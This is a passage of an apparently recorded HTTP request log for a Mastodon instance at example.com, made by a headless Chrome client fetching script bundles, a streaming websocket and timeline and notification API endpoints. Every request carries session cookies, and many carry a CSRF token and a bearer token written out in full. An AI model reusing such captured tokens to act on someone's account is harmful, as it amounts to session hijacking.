_mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-immutable-pure-component.es-DpNNSygw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/streaming/?", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-WebSocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D", "Sec-WebSocket-Key: Y3IFC2Oku06pSzNXQel+ig==", "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits", "Sec-WebSocket-Protocol: uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/toString-HjykfQcJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Origin: https://example.com", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow&exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance/translation_languages", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/followed_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/suggestions?limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/streaming/?", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-WebSocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MzEuMzY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f62798087cb39d52a77f59b40d170779fc72d91e; _mastodon_session=3KI6RuYM9zGv%2FugjPwC1%2FlO%2BFeVNkvGcOrUj6CCDklyT%2BkgobTeFkFuN%2F6G5wjU5xnnoMBP1yE1HamAXxrrHGyMnRW8HCIR2r1GJykqzJsXJGLjwBqq5qLngmnRwNVgWYq9bvW99JxeU4HxhEmw47nQgYqOjhvcjc0QQgYakMaxMqmocUKYeDQJf0aeYphtcUP3svGfZc%2BfEje2nudeG87m0jPYpHc2mPnB32In1IEWjNOijjzgE0kILLZzcfQf%2Fx3t7KayVRjw43C0IU6a8qOjEFTX1IjJYAnsveNfToCTrlVKByIDAnjLnLg34miF3%2Bu6qm3td51sa7QWcuZnU2NfOCDjddytkcWzIVyToiwL24nxoYBS%2FJxIyY3QJgHekj%2FFw8yHAuv3f--88gUJNQUBbhKn%2Bsr--veY1ZNSeux%2FXsOV%2BlNp3QQ%3D%3D", "Sec-WebSocket-Key: EQjJJ6DGqvnPJceC0oQBYg==", "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits", "Sec-WebSocket-Protocol: uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/push_notifications-C0ir4q-Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=v2%2Fq0E%2FqQKhuiyAwzWncgsSVevHO%2F9hltrfPHh8HYrha8F1JyaEcp0GI%2FiS8Gm6us93Vgu6CqY0vM%2BOq0bp7%2FAnuXVIFAtu5L%2FmB58Xa9XM%2BR%2Fd%2BmqfzI5WKqxGEIr8KxyHApqXEexVKSbuU3hTc7gHs5fmCMKUq%2BLoPp0PK87leSH%2FHjA%2Fv1BcyGqtFMVKKDUXkJ9kA2gG0aA3eXwXwUDur34V175OpNmTVRJP4YBNHldOFU0in6r4Y52yfoTK3GemC5ivJYjTkTWC4n41Gw6PWMWZ7Zr1C5A%3D%3D--ZMe41imfFsZeuqvn--11QYUrWIi6YrEdv47nMY%2Fg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/utils-B19lL5A9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; 